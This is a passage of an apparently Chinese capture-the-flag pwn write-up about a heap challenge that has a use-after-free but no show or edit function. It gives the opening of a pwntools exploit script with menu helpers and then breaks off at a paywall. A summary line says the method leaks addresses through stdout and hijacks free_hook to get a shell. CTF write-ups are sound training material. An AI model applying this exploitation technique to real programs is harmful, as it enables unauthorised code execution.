
这题没有show,edit,但是有个uaf。
因为我们没有show函数无法泄露地址,所以我们需要打stdout来泄露地址。
参考代码:
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
# c=process(b'./pwn1')
libc=ELF(b'/pwn/libc')
#def dbg():
# gdb.attach(c,'''
# b *$rebase(0x14a1)
# b *$rebase(0x14f9)
# b *$rebase(0x15d7)
# b *$rebase(0x1684)
#
#
# ''')
def dbg():
gdb.attach(c)
pause()
def add(size,content):
c.sendlineafter(b'choice : ',b'1')
c.sendafter(b'Size: ',str(size))
c.sendafter(b'Content: ',content)
def free(idx):
c.sendlineafter(b'choice : ',b'2')
c.sendlineafter(b'dex: ',str(idx))
def luck_free(idx):
c.sendlineafter

本文介绍了一种利用UAF漏洞的方法,通过精心构造payload来泄露内存地址,并最终获取shell。文章详细展示了如何通过修改特定内存区域来实现对free_hook的劫持。
最低0.47元/天 解锁文章
1454

被折叠的 条评论
为什么被折叠?



